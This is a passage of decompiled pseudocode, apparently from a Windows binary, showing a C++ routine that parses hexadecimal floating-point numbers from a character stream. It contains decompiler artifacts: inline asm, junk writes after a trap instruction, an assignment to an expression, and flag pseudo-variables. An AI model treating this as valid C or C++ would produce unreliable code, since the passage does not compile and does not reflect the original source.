							if(_t841 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t951 + 0x50)))) <= 0) {
								_t495 =  *((intOrPtr*)( *_t951 + 0x38))();
							} else {
								_t495 =  *_t841 & 0x0000ffff;
							}
							_t424 = _t495 & 0x0000ffff;
							_t592 = 0;
							sil = (_t495 & 0x0000ffff) != 0xffff;
						}
						_t832 = _a96;
						_t952 =  *_t832;
						if(_t952 != 0) {
							_t832 =  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x38))));
							if(_t832 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x50)))) <= 0) {
								_t832 =  *_t952;
								_t494 = _t832[0x1c]();
							} else {
								_t494 =  *_t832 & 0x0000ffff;
							}
							_t424 = _t494 & 0x0000ffff;
							_t567 = 0;
							dil = (_t494 & 0x0000ffff) != 0xffff;
						}
						if(_t592 == _t567) {
							break;
						}
						if( *(_t882 + 8) == 0) {
							_t970 =  *_t882;
							if(_t970 == 0) {
								L236:
								 *_t882 = 0;
							} else {
								_t832 =  *((intOrPtr*)( *((intOrPtr*)(_t970 + 0x38))));
								if(_t832 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t970 + 0x50)))) <= 0) {
									_t832 =  *_t970;
									_t493 = _t832[0x1c]();
								} else {
									_t493 =  *_t832 & 0x0000ffff;
								}
								_t531 = _t493 & 0x0000ffff;
								if(_t531 == 0xffff) {
									goto L236;
								} else {
									 *(_t882 + 0xa) = _t493;
								}
							}
							 *(_t882 + 8) = 1;
						}
						_t424 =  *(_t882 + 0xa) & 0x0000ffff;
						_t954 =  &_v34;
						asm("o16 nop [cs:eax+eax]");
						while(1) {
							_t555 =  *(_t954 + 2) & 0x0000ffff;
							_t954 = _t954 + 2;
							if(_t555 == 0) {
								break;
							}
							if(_t555 != _t424) {
								continue;
							} else {
							}
							break;
						}
						_t956 = _t954 -  &_v32 >> 1;
						if(_t956 > 0x15) {
							__eflags = _a72 - 0xf;
							_t958 =  <=  ? _t1084 : _a48;
							__eflags =  *((char*)(_t958 + _t1090));
							if( *((char*)(_t958 + _t1090)) == 0) {
								break;
							} else {
								__eflags = _a88;
								if(_a88 == 0) {
									break;
								} else {
									__eflags = _t424 - _a88;
									if(_t424 != _a88) {
										break;
									} else {
										_t1099 = _a64;
										__eflags = _t1099 - 0xfffffffe;
										if(_t1099 >= 0xfffffffe) {
											_t489 = L00430CE0(_t530, _t555, _t602, _t832, "string too long", _t1042, _t1058);
											asm("ud2");
											_t1060 = _t832;
											_t837 = _a72;
											__eflags = _t837 - 0x10;
											if(_t837 >= 0x10) {
												_t962 = _a48;
												__eflags = _t837 + 1 - 0x1000;
												if(_t837 + 1 >= 0x1000) {
													_t962 =  *((intOrPtr*)(_t962 - 8));
												}
												_t489 = E00402090(_t489, _t962);
											}
											_t838 = _v56;
											__eflags = _t838 - 0x10;
											if(_t838 >= 0x10) {
												_t961 = _v80;
												_t838 = _t838 + 1;
												__eflags = _t838 - 0x1000;
												if(_t838 >= 0x1000) {
													_t961 =  *((intOrPtr*)(_t961 - 8));
												}
												_t489 = E00402090(_t489, _t961);
											}
											E0044CEA0(_t489, _t1060);
											asm("ud2");
											 *0x44eb4d =  *0x44eb4d + r8b;
											 *_t838 =  *_t838 + 0x64;
											_t413 = _t838 - 0x6f6f6f70;
											 *_t413 =  *(_t838 - 0x6f6f6f70) + _t555;
											__eflags =  *_t413;
											_push(_t1062);
											return 0x64;
										} else {
											_t1100 = _t1099 + 1;
											r8d = 0;
											_t492 = E00404270(_t424,  &_a40, _t1100);
											__eflags = _t492;
											if(_t492 != 0) {
												__eflags = _a72 - 0xf;
												_t967 =  <=  ? _t1084 : _a48;
												 *((char*)(( <=  ? _t1084 : _a48) + _a64)) = 0;
												__eflags = _a72 - 0xf;
												_t847 =  <=  ? _t1084 : _a48;
												__eflags = _t847;
												_a64 = _t1100;
												 *((char*)(_t847 + _t1100)) = 0;
											}
											_t1090 = _t1090 + 1;
											goto L208;
										}
									}
								}
							}
						} else {
							if(r13d < 0x30) {
								__eflags = r13d;
								if(r13d != 0) {
									L205:
									_t968 = _a112;
									 *_t968 =  *((intOrPtr*)(_t956 + "0123456789ABCDEFabcdef-+XxPp"));
									_a112 = _t968 + 1;
									r13d = r13d + 1;
									__eflags = r13d;
								} else {
									__eflags = _t956;
									if(_t956 != 0) {
										goto L205;
									} else {
										r13d = 0;
									}
								}
							} else {
								_a84 = _a84 + 1;
							}
							_t850 =  <=  ? _t1084 : _a48;
							_t531 =  *(_t850 + _t1090);
							_a108 = 1;
							if(_t531 != 0x7f) {
								_t531 = _t531 + 1;
								 *(_t850 + _t1090) = _t531;
							}
							L208:
							_t964 =  *_t882;
							if(_t964 == 0) {
								L191:
								 *_t882 = 0;
								_t424 = 1;
								 *(_t882 + 8) = 1;
							} else {
								_t843 =  *((intOrPtr*)(_t964 + 0x38));
								_t1027 =  *_t843;
								if(_t1027 == 0) {
									L212:
									_t496 =  *((intOrPtr*)( *_t964 + 0x40))();
								} else {
									_t1042 =  *((intOrPtr*)(_t964 + 0x50));
									_t593 =  *_t1042;
									if(_t593 <= 0) {
										goto L212;
									} else {
										 *_t1042 = _t593 - 1;
										_t183 =  &(_t1027[1]); // 0x3
										 *_t843 = _t183;
										_t496 =  *_t1027 & 0x0000ffff;
									}
								}
								if((_t496 & 0x0000ffff) == 0xffff) {
									goto L191;
								} else {
									_t424 = 0;
									 *(_t882 + 8) = 0;
								}
							}
							continue;
						}
						goto L530;
					}
					__eflags = _t1090;
					if(_t1090 == 0) {
						_t592 = 0;
						__eflags = 0;
						goto L256;
					} else {
						__eflags = _a72 - 0xf;
						_t836 =  <=  ? _t1084 : _a48;
						_t553 =  *((intOrPtr*)(_t836 + _t1090));
						_t424 = 0;
						__eflags = _t553;
						_t547 = _t531 & 0xffffff00 | _t553 > 0x00000000;
						__eflags = _t553;
						sil = _t553 <= 0;
						__eflags = sil;
						if(sil <= 0) {
							L256:
							_t833 = _a72;
						} else {
							_t424 = _t547;
							_t1094 = _t1090 + _t836;
							__eflags = _t1094;
							if(_t1094 == 0) {
								goto L256;
							} else {
								_t833 = _a72;
								__eflags = _t833 - 0xf;
								_t1085 =  >  ? _a48 : _t1084;
								_t1053 = _v40;
								while(1) {
									_t548 =  *_t1053 & 0x000000ff;
									__eflags = _t548 - 0x7f;
									if(_t548 == 0x7f) {
										break;
									}
									__eflags = _t1094 - 1;
									_t554 =  *(_t1085 + _t1094 - 1) & 0x000000ff;
									if(_t1094 != 1) {
										__eflags = _t548 - _t554;
										if(_t548 != _t554) {
											goto L379;
										} else {
											goto L251;
										}
									} else {
										__eflags = _t548 - _t554;
										if(_t548 >= _t554) {
											L251:
											_t1094 = _t1094 - 1;
											__eflags =  *(_t1053 + 1);
											if( *(_t1053 + 1) > 0) {
												_t1053 = _t1053 + 1;
												__eflags = _t1053;
											}
											__eflags = _t1094;
											if(_t1094 != 0) {
												continue;
											} else {
												break;
											}
										} else {
											L379:
											sil = 1;
										}
									}
									goto L257;
								}
								_t592 = 0;
							}
						}
					}
					L257:
					__eflags = _t833 - 0x10;
					_t1092 = _a32;
					r12d = _a84;
					if(_t833 >= 0x10) {
						_t953 = _a48;
						__eflags = _t833 + 1 - 0x1000;
						if(_t833 + 1 >= 0x1000) {
							_t953 =  *((intOrPtr*)(_t953 - 8));
						}
						_t424 = E00402090(_t424, _t953);
					}
					_a88 = _t592;
					__eflags = _a108 & 0x00000001;
					if((_a108 & 0x00000001) != 0) {
						L169:
						__eflags = r13d;
						if(r13d == 0) {
							_t819 = _a112;
							 *_t819 = 0x30;
							_t820 = _t819 + 1;
							__eflags = _t820;
							_a112 = _t820;
						}
						goto L171;
					} else {
						L171:
						_t900 =  *_t882;
						_t570 = 0;
						__eflags = _t900;
						_t561 = 0;
						r15d = r12d;
						if(_t900 != 0) {
							_t817 =  *((intOrPtr*)( *((intOrPtr*)(_t900 + 0x38))));
							__eflags = _t817;
							if(_t817 == 0) {
								L175:
								_t479 =  *((intOrPtr*)( *_t900 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t900 + 0x50));
								if( *( *(_t900 + 0x50)) <= 0) {
									goto L175;
								} else {
									_t479 =  *_t817 & 0x0000ffff;
								}
							}
							_t424 = _t479 & 0x0000ffff;
							_t561 = 0;
							__eflags = (_t479 & 0x0000ffff) - 0xffff;
							dil = (_t479 & 0x0000ffff) != 0xffff;
							__eflags = dil;
						}
						_t901 =  *_a96;
						__eflags = _t901;
						if(_t901 != 0) {
							_t814 =  *((intOrPtr*)( *((intOrPtr*)(_t901 + 0x38))));
							__eflags = _t814;
							if(_t814 == 0) {
								L181:
								_t478 =  *((intOrPtr*)( *_t901 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t901 + 0x50));
								if( *( *(_t901 + 0x50)) <= 0) {
									goto L181;
								} else {
									_t478 =  *_t814 & 0x0000ffff;
								}
							}
							_t424 = _t478 & 0x0000ffff;
							_t570 = 0;
							__eflags = (_t478 & 0x0000ffff) - 0xffff;
							sil = (_t478 & 0x0000ffff) != 0xffff;
							__eflags = sil;
						}
						__eflags = _t561 - _t570;
						if(_t561 == _t570) {
							L274:
							__eflags = r13d;
							if(r13d == 0) {
								goto L284;
							}
						} else {
							__eflags =  *(_t882 + 8);
							_t1050 = _v48;
							if( *(_t882 + 8) == 0) {
								_t944 =  *_t882;
								__eflags = _t944;
								if(_t944 == 0) {
									L266:
									 *_t882 = 0;
								} else {
									_t811 =  *((intOrPtr*)( *((intOrPtr*)(_t944 + 0x38))));
									__eflags = _t811;
									if(_t811 == 0) {
										L263:
										_t477 =  *((intOrPtr*)( *_t944 + 0x38))();
									} else {
										__eflags =  *( *(_t944 + 0x50));
										if( *( *(_t944 + 0x50)) <= 0) {
											goto L263;
										} else {
											_t477 =  *_t811 & 0x0000ffff;
										}
									}
									__eflags = (_t477 & 0x0000ffff) - 0xffff;
									if((_t477 & 0x0000ffff) == 0xffff) {
										goto L266;
									} else {
										 *(_t882 + 0xa) = _t477;
									}
								}
								 *(_t882 + 8) = 1;
							}
							_t806 =  *_t1050;
							_t424 =  *((intOrPtr*)(_t806 + 0x20))();
							__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _t424;
							if(( *(_t882 + 0xa) & 0x0000ffff) != _t424) {
								r12d = r15d;
								goto L274;
							} else {
								E0043DFF0(_t424);
								 *_a112 =  *((intOrPtr*)( *_t806));
								_t942 =  *_t882;
								__eflags = _t942;
								r12d = r15d;
								if(_t942 == 0) {
									L279:
									 *_t882 = 0;
									_t424 = 1;
								} else {
									_t808 =  *((intOrPtr*)(_t942 + 0x38));
									_t1014 =  *_t808;
									__eflags = _t1014;
									if(_t1014 == 0) {
										L276:
										_t475 =  *((intOrPtr*)( *_t942 + 0x40))();
										r12d = r15d;
									} else {
										_t1051 =  *((intOrPtr*)(_t942 + 0x50));
										_t588 =  *_t1051;
										__eflags = _t588;
										if(_t588 <= 0) {
											goto L276;
										} else {
											 *_t1051 = _t588 - 1;
											 *_t808 =  &(_t1014[1]);
											_t475 =  *_t1014 & 0x0000ffff;
										}
									}
									__eflags = (_t475 & 0x0000ffff) - 0xffff;
									if((_t475 & 0x0000ffff) == 0xffff) {
										goto L279;
									} else {
										_t424 = 0;
									}
								}
								_a112 = _a112 + 1;
								 *(_t882 + 8) = _t424;
								__eflags = r13d;
								if(r13d == 0) {
									while(1) {
										L284:
										_t935 =  *_t882;
										_t584 = 0;
										__eflags = _t935;
										_t566 = 0;
										if(_t935 == 0) {
											goto L290;
										}
										_t796 =  *((intOrPtr*)( *((intOrPtr*)(_t935 + 0x38))));
										__eflags = _t796;
										if(_t796 == 0) {
											L288:
											_t470 =  *((intOrPtr*)( *_t935 + 0x38))();
										} else {
											__eflags =  *( *(_t935 + 0x50));
											if( *( *(_t935 + 0x50)) <= 0) {
												goto L288;
											} else {
												_t470 =  *_t796 & 0x0000ffff;
											}
										}
										_t424 = _t470 & 0x0000ffff;
										_t566 = 0;
										__eflags = (_t470 & 0x0000ffff) - 0xffff;
										dil = (_t470 & 0x0000ffff) != 0xffff;
										__eflags = dil;
										L290:
										_t936 =  *_a96;
										__eflags = _t936;
										if(_t936 != 0) {
											_t804 =  *((intOrPtr*)( *((intOrPtr*)(_t936 + 0x38))));
											__eflags = _t804;
											if(_t804 == 0) {
												L294:
												_t469 =  *((intOrPtr*)( *_t936 + 0x38))();
											} else {
												__eflags =  *( *(_t936 + 0x50));
												if( *( *(_t936 + 0x50)) <= 0) {
													goto L294;
												} else {
													_t469 =  *_t804 & 0x0000ffff;
												}
											}
											_t424 = _t469 & 0x0000ffff;
											_t584 = 0;
											__eflags = (_t469 & 0x0000ffff) - 0xffff;
											sil = (_t469 & 0x0000ffff) != 0xffff;
											__eflags = sil;
										}
										__eflags = _t566 - _t584;
										if(_t566 != _t584) {
											__eflags =  *(_t882 + 8);
											if( *(_t882 + 8) == 0) {
												_t939 =  *_t882;
												__eflags = _t939;
												if(_t939 == 0) {
													L305:
													 *_t882 = 0;
												} else {
													_t801 =  *((intOrPtr*)( *((intOrPtr*)(_t939 + 0x38))));
													__eflags = _t801;
													if(_t801 == 0) {
														L302:
														_t468 =  *((intOrPtr*)( *_t939 + 0x38))();
													} else {
														__eflags =  *( *(_t939 + 0x50));
														if( *( *(_t939 + 0x50)) <= 0) {
															goto L302;
														} else {
															_t468 =  *_t801 & 0x0000ffff;
														}
													}
													__eflags = (_t468 & 0x0000ffff) - 0xffff;
													if((_t468 & 0x0000ffff) == 0xffff) {
														goto L305;
													} else {
														 *(_t882 + 0xa) = _t468;
													}
												}
												 *(_t882 + 8) = 1;
											}
											_t424 =  *(_t882 + 0xa) & 0x0000ffff;
											__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _v32;
											if(( *(_t882 + 0xa) & 0x0000ffff) == _v32) {
												_t937 =  *_t882;
												__eflags = _t937;
												if(_t937 == 0) {
													L315:
													 *_t882 = 0;
													_t467 = 1;
													goto L282;
												} else {
													_t798 =  *((intOrPtr*)(_t937 + 0x38));
													_t1010 =  *_t798;
													__eflags = _t1010;
													if(_t1010 == 0) {
														L312:
														_t471 =  *((intOrPtr*)( *_t937 + 0x40))();
													} else {
														_t1049 =  *((intOrPtr*)(_t937 + 0x50));
														_t585 =  *_t1049;
														__eflags = _t585;
														if(_t585 <= 0) {
															goto L312;
														} else {
															 *_t1049 = _t585 - 1;
															 *_t798 =  &(_t1010[1]);
															_t471 =  *_t1010 & 0x0000ffff;
														}
													}
													__eflags = (_t471 & 0x0000ffff) - 0xffff;
													if((_t471 & 0x0000ffff) == 0xffff) {
														goto L315;
													} else {
														_t467 = 0;
														L282:
														 *(_t882 + 8) = _t467;
														r12d = r12d - 1;
														__eflags = r12d;
														_t424 = 1;
														_a108 = 1;
														continue;
													}
												}
											}
										}
										__eflags = r12d;
										if(r12d < 0) {
											_t793 = _a112;
											 *_t793 = 0x30;
											_a112 = _t793 + 1;
											r12d = r12d + 1;
											__eflags = r12d;
										}
										r15d = r12d;
										goto L319;
									}
								}
							}
						}
						L319:
						_t1081 =  &_v34;
						while(1) {
							L332:
							_t902 =  *_t882;
							_t571 = 0;
							__eflags = _t902;
							_t562 = 0;
							if(_t902 == 0) {
								goto L338;
							}
							_t782 =  *((intOrPtr*)( *((intOrPtr*)(_t902 + 0x38))));
							__eflags = _t782;
							if(_t782 == 0) {
								L336:
								_t466 =  *((intOrPtr*)( *_t902 + 0x38))();
							} else {
								__eflags =  *( *(_t902 + 0x50));
								if( *( *(_t902 + 0x50)) <= 0) {
									goto L336;
								} else {
									_t466 =  *_t782 & 0x0000ffff;
								}
							}
							_t424 = _t466 & 0x0000ffff;
							_t562 = 0;
							__eflags = (_t466 & 0x0000ffff) - 0xffff;
							dil = (_t466 & 0x0000ffff) != 0xffff;
							__eflags = dil;
							L338:
							_t903 =  *_a96;
							__eflags = _t903;
							if(_t903 != 0) {
								_t790 =  *((intOrPtr*)( *((intOrPtr*)(_t903 + 0x38))));
								__eflags = _t790;
								if(_t790 == 0) {
									L342:
									_t465 =  *((intOrPtr*)( *_t903 + 0x38))();
								} else {
									__eflags =  *( *(_t903 + 0x50));
									if( *( *(_t903 + 0x50)) <= 0) {
										goto L342;
									} else {
										_t465 =  *_t790 & 0x0000ffff;
									}
								}
								_t424 = _t465 & 0x0000ffff;
								_t571 = 0;
								__eflags = (_t465 & 0x0000ffff) - 0xffff;
								sil = (_t465 & 0x0000ffff) != 0xffff;
								__eflags = sil;
							}
							__eflags = _t562 - _t571;
							if(_t562 != _t571) {
								__eflags =  *(_t882 + 8);
								if( *(_t882 + 8) == 0) {
									_t934 =  *_t882;
									__eflags = _t934;
									if(_t934 == 0) {
										L353:
										 *_t882 = 0;
									} else {
										_t787 =  *((intOrPtr*)( *((intOrPtr*)(_t934 + 0x38))));
										__eflags = _t787;
										if(_t787 == 0) {
											L350:
											_t424 =  *((intOrPtr*)( *_t934 + 0x38))();
										} else {
											__eflags =  *( *(_t934 + 0x50));
											if( *( *(_t934 + 0x50)) <= 0) {
												goto L350;
											} else {
												_t424 =  *_t787 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L353;
										} else {
											 *(_t882 + 0xa) = _t424;
										}
									}
									 *(_t882 + 8) = 1;
								}
								_t541 =  *(_t882 + 0xa) & 0x0000ffff;
								_t778 = _t1081;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t552 =  *(_t778 + 2) & 0x0000ffff;
									_t778 = _t778 + 2;
									__eflags = _t552;
									if(_t552 == 0) {
										break;
									}
									__eflags = _t552 - _t541;
									if(_t552 != _t541) {
										continue;
									} else {
										break;
									}
									L515:
									__eflags = r10b & 0x00000001;
									_t1072 =  ==  ? _t1092 : _t1071;
									__eflags = _a88;
									_t1073 =  !=  ? _t1092 :  ==  ? _t1092 : _t1071;
									 *((char*)( !=  ? _t1092 :  ==  ? _t1092 : _t1071)) = 0;
									 *_a232 = r9d;
									_t725 = _v56;
									__eflags = _t725 - 0x10;
									if(_t725 >= 0x10) {
										_t906 = _v80;
										__eflags = _t725 + 1 - 0x1000;
										if(_t725 + 1 >= 0x1000) {
											_t906 =  *((intOrPtr*)(_t906 - 8));
										}
										E00402090(_t424, _t906);
									}
									__eflags = 0;
									return 0;
									goto L530;
								}
								_t780 = _t778 -  &_v32 >> 1;
								__eflags = _t780 - 0x15;
								if(_t780 <= 0x15) {
									__eflags = r13d - 0x2f;
									if(r13d <= 0x2f) {
										_t932 = _a112;
										 *_t932 =  *((intOrPtr*)(_t780 + "0123456789ABCDEFabcdef-+XxPp"));
										_a112 = _t932 + 1;
										r13d = r13d + 1;
										__eflags = r13d;
									}
									_t929 =  *_t882;
									__eflags = _t929;
									if(_t929 == 0) {
										L330:
										 *_t882 = 0;
										_t461 = 1;
									} else {
										_t784 =  *((intOrPtr*)(_t929 + 0x38));
										_t1006 =  *_t784;
										__eflags = _t1006;
										if(_t1006 == 0) {
											L327:
											_t462 =  *((intOrPtr*)( *_t929 + 0x40))();
										} else {
											_t1048 =  *((intOrPtr*)(_t929 + 0x50));
											_t582 =  *_t1048;
											__eflags = _t582;
											if(_t582 <= 0) {
												goto L327;
											} else {
												 *_t1048 = _t582 - 1;
												 *_t784 =  &(_t1006[1]);
												_t462 =  *_t1006 & 0x0000ffff;
											}
										}
										__eflags = (_t462 & 0x0000ffff) - 0xffff;
										if((_t462 & 0x0000ffff) == 0xffff) {
											goto L330;
										} else {
											_t461 = 0;
										}
									}
									 *(_t882 + 8) = _t461;
									_t424 = 1;
									_a108 = 1;
									continue;
								}
							}
							r10d = _a108;
							__eflags = r10b & 0x00000001;
							if((r10b & 0x00000001) != 0) {
								_t904 =  *_t882;
								_t572 = 0;
								__eflags = _t904;
								_t563 = 0;
								_t1071 = _a112;
								r9d = r15d;
								if(_t904 != 0) {
									_t776 =  *((intOrPtr*)( *((intOrPtr*)(_t904 + 0x38))));
									__eflags = _t776;
									if(_t776 == 0) {
										L365:
										_t460 =  *((intOrPtr*)( *_t904 + 0x38))();
										_t1071 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t904 + 0x50));
										if( *( *(_t904 + 0x50)) <= 0) {
											goto L365;
										} else {
											_t460 =  *_t776 & 0x0000ffff;
										}
									}
									_t424 = _t460 & 0x0000ffff;
									_t563 = 0;
									__eflags = (_t460 & 0x0000ffff) - 0xffff;
									dil = (_t460 & 0x0000ffff) != 0xffff;
									__eflags = dil;
								}
								_t905 =  *_a96;
								__eflags = _t905;
								if(_t905 != 0) {
									_t773 =  *((intOrPtr*)( *((intOrPtr*)(_t905 + 0x38))));
									__eflags = _t773;
									if(_t773 == 0) {
										L371:
										_t459 =  *((intOrPtr*)( *_t905 + 0x38))();
										_t1071 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t905 + 0x50));
										if( *( *(_t905 + 0x50)) <= 0) {
											goto L371;
										} else {
											_t459 =  *_t773 & 0x0000ffff;
										}
									}
									_t424 = _t459 & 0x0000ffff;
									_t572 = 0;
									__eflags = (_t459 & 0x0000ffff) - 0xffff;
									sil = (_t459 & 0x0000ffff) != 0xffff;
									__eflags = sil;
								}
								__eflags = _t563 - _t572;
								if(_t563 != _t572) {
									__eflags =  *(_t882 + 8);
									if( *(_t882 + 8) == 0) {
										_t927 =  *_t882;
										__eflags = _t927;
										if(_t927 == 0) {
											L383:
											 *_t882 = 0;
										} else {
											_t770 =  *((intOrPtr*)( *((intOrPtr*)(_t927 + 0x38))));
											__eflags = _t770;
											if(_t770 == 0) {
												L380:
												_t458 =  *((intOrPtr*)( *_t927 + 0x38))();
												_t1071 = _a112;
												r9d = r15d;
												r10d = _a108;
											} else {
												__eflags =  *( *(_t927 + 0x50));
												if( *( *(_t927 + 0x50)) <= 0) {
													goto L380;
												} else {
													_t458 =  *_t770 & 0x0000ffff;
												}
											}
											__eflags = (_t458 & 0x0000ffff) - 0xffff;
											if((_t458 & 0x0000ffff) == 0xffff) {
												goto L383;
											} else {
												 *(_t882 + 0xa) = _t458;
											}
										}
										 *(_t882 + 8) = 1;
									}
									_t424 =  *(_t882 + 0xa) & 0x0000ffff;
									__eflags = _t424 - _a22;
									if(_t424 == _a22) {
										L387:
										 *_t1071 = 0x70;
										_t907 =  *_t882;
										__eflags = _t907;
										if(_t907 == 0) {
											L397:
											 *_t882 = 0;
											 *(_t882 + 8) = 1;
											goto L398;
										} else {
											_t764 =  *((intOrPtr*)(_t907 + 0x38));
											_t1001 =  *_t764;
											__eflags = _t1001;
											if(_t1001 == 0) {
												L391:
												_t454 =  *((intOrPtr*)( *_t907 + 0x40))();
												_t1071 = _a112;
											} else {
												_t1047 =  *((intOrPtr*)(_t907 + 0x50));
												_t580 =  *_t1047;
												__eflags = _t580;
												if(_t580 <= 0) {
													goto L391;
												} else {
													 *_t1047 = _t580 - 1;
													 *_t764 =  &(_t1001[1]);
													_t454 =  *_t1001 & 0x0000ffff;
												}
											}
											__eflags = (_t454 & 0x0000ffff) - 0xffff;
											if((_t454 & 0x0000ffff) == 0xffff) {
												goto L397;
											} else {
												_t925 =  *_t882;
												 *(_t882 + 8) = 0;
												__eflags = _t925;
												if(_t925 == 0) {
													L398:
													_t573 = 0;
												} else {
													_t767 =  *((intOrPtr*)( *((intOrPtr*)(_t925 + 0x38))));
													__eflags = _t767;
													if(_t767 == 0) {
														L399:
														_t456 =  *((intOrPtr*)( *_t925 + 0x38))();
														_t1071 = _a112;
													} else {
														__eflags =  *( *(_t925 + 0x50));
														if( *( *(_t925 + 0x50)) <= 0) {
															goto L399;
														} else {
															_t456 =  *_t767 & 0x0000ffff;
														}
													}
													_t573 = 0;
													__eflags = (_t456 & 0x0000ffff) - 0xffff;
													sil = (_t456 & 0x0000ffff) != 0xffff;
													__eflags = sil;
												}
											}
										}
										_t908 =  *_a96;
										__eflags = _t908;
										if(_t908 == 0) {
											_t427 = 0;
											__eflags = 0;
										} else {
											_t762 =  *((intOrPtr*)( *((intOrPtr*)(_t908 + 0x38))));
											__eflags = _t762;
											if(_t762 == 0) {
												L405:
												_t452 =  *((intOrPtr*)( *_t908 + 0x38))();
												_t1071 = _a112;
											} else {
												__eflags =  *( *(_t908 + 0x50));
												if( *( *(_t908 + 0x50)) <= 0) {
													goto L405;
												} else {
													_t452 =  *_t762 & 0x0000ffff;
												}
											}
											__eflags = (_t452 & 0x0000ffff) - 0xffff;
											_t427 = 0 | (_t452 & 0x0000ffff) != 0x0000ffff;
										}
										_t1083 = _t1071 + 1;
										__eflags = _t573 - _t427;
										if(_t573 != _t427) {
											__eflags =  *(_t882 + 8);
											if( *(_t882 + 8) == 0) {
												_t924 =  *_t882;
												__eflags = _t924;
												if(_t924 == 0) {
													L417:
													 *_t882 = 0;
												} else {
													_t759 =  *((intOrPtr*)( *((intOrPtr*)(_t924 + 0x38))));
													__eflags = _t759;
													if(_t759 == 0) {
														L414:
														_t451 =  *((intOrPtr*)( *_t924 + 0x38))();
														_t1071 = _a112;
													} else {
														__eflags =  *( *(_t924 + 0x50));
														if( *( *(_t924 + 0x50)) <= 0) {
															goto L414;
														} else {
															_t451 =  *_t759 & 0x0000ffff;
														}
													}
													__eflags = (_t451 & 0x0000ffff) - 0xffff;
													if((_t451 & 0x0000ffff) == 0xffff) {
														goto L417;
													} else {
														 *(_t882 + 0xa) = _t451;
													}
												}
												 *(_t882 + 8) = 1;
											}
											_t447 =  *(_t882 + 0xa) & 0x0000ffff;
											__eflags = _t447 - _a14;
											if(_t447 != _a14) {
												__eflags = _t447 - _a12;
												if(_t447 == _a12) {
													 *((char*)(_t1071 + 1)) = 0x2d;
													_t921 =  *_t882;
													__eflags = _t921;
													if(_t921 == 0) {
														goto L433;
													} else {
														_t755 =  *((intOrPtr*)(_t921 + 0x38));
														_t998 =  *_t755;
														__eflags = _t998;
														if(_t998 == 0) {
															L429:
															_t449 =  *((intOrPtr*)( *_t921 + 0x40))();
															goto L430;
														} else {
															_t1046 =  *((intOrPtr*)(_t921 + 0x50));
															_t578 =  *_t1046;
															__eflags = _t578;
															if(_t578 <= 0) {
																goto L429;
															} else {
																goto L428;
															}
														}
														goto L431;
													}
													goto L434;
												}
											} else {
												 *((char*)(_t1071 + 1)) = 0x2b;
												_t923 =  *_t882;
												__eflags = _t923;
												if(_t923 == 0) {
													L433:
													 *_t882 = 0;
													_t448 = 1;
												} else {
													_t755 =  *((intOrPtr*)(_t923 + 0x38));
													_t998 =  *_t755;
													__eflags = _t998;
													if(_t998 == 0) {
														L423:
														_t449 =  *((intOrPtr*)( *_t923 + 0x40))();
														L430:
														_t1071 = _a112;
													} else {
														_t1046 =  *((intOrPtr*)(_t923 + 0x50));
														_t578 =  *_t1046;
														__eflags = _t578;
														if(_t578 > 0) {
															L428:
															 *_t1046 = _t578 - 1;
															 *_t755 =  &(_t998[1]);
															_t449 =  *_t998 & 0x0000ffff;
														} else {
															goto L423;
														}
													}
													L431:
													__eflags = (_t449 & 0x0000ffff) - 0xffff;
													if((_t449 & 0x0000ffff) == 0xffff) {
														goto L433;
													} else {
														_t448 = 0;
													}
												}
												L434:
												_t1074 = _t1071 + 2;
												__eflags = _t1074;
												 *(_t882 + 8) = _t448;
												_t1083 = _t1074;
											}
										}
										while(1) {
											_t909 =  *_t882;
											__eflags = _t909;
											_t574 = 0;
											if(_t909 == 0) {
												goto L444;
											}
											_t745 =  *((intOrPtr*)( *((intOrPtr*)(_t909 + 0x38))));
											__eflags = _t745;
											if(_t745 == 0) {
												L442:
												_t443 =  *((intOrPtr*)( *_t909 + 0x38))();
											} else {
												__eflags =  *( *(_t909 + 0x50));
												if( *( *(_t909 + 0x50)) <= 0) {
													goto L442;
												} else {
													_t443 =  *_t745 & 0x0000ffff;
												}
											}
											_t574 = 0;
											__eflags = (_t443 & 0x0000ffff) - 0xffff;
											sil = (_t443 & 0x0000ffff) != 0xffff;
											__eflags = sil;
											L444:
											_t910 =  *_a96;
											__eflags = _t910;
											if(_t910 == 0) {
												__eflags = _t574;
												if(_t574 != 0) {
													goto L450;
												} else {
												}
											} else {
												_t753 =  *((intOrPtr*)( *((intOrPtr*)(_t910 + 0x38))));
												__eflags = _t753;
												if(_t753 == 0) {
													L448:
													_t439 =  *((intOrPtr*)( *_t910 + 0x38))();
												} else {
													__eflags =  *( *(_t910 + 0x50));
													if( *( *(_t910 + 0x50)) <= 0) {
														goto L448;
													} else {
														_t439 =  *_t753 & 0x0000ffff;
													}
												}
												(_t439 & 0x0000ffff) - 0xffff = _t574 - ((_t439 & 0x0000ffff) != 0xffff);
												if(_t574 != (_t439 & 0x0000ffff) != 0xffff) {
													L450:
													__eflags =  *(_t882 + 8);
													if( *(_t882 + 8) == 0) {
														_t920 =  *_t882;
														__eflags = _t920;
														if(_t920 == 0) {
															L460:
															 *_t882 = 0;
														} else {
															_t750 =  *((intOrPtr*)( *((intOrPtr*)(_t920 + 0x38))));
															__eflags = _t750;
															if(_t750 == 0) {
																L457:
																_t442 =  *((intOrPtr*)( *_t920 + 0x38))();
															} else {
																__eflags =  *( *(_t920 + 0x50));
																if( *( *(_t920 + 0x50)) <= 0) {
																	goto L457;
																} else {
																	_t442 =  *_t750 & 0x0000ffff;
																}
															}
															__eflags = (_t442 & 0x0000ffff) - 0xffff;
															if((_t442 & 0x0000ffff) == 0xffff) {
																goto L460;
															} else {
																 *(_t882 + 0xa) = _t442;
															}
														}
														 *(_t882 + 8) = 1;
													}
													__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _v32;
													if(( *(_t882 + 0xa) & 0x0000ffff) == _v32) {
														_t918 =  *_t882;
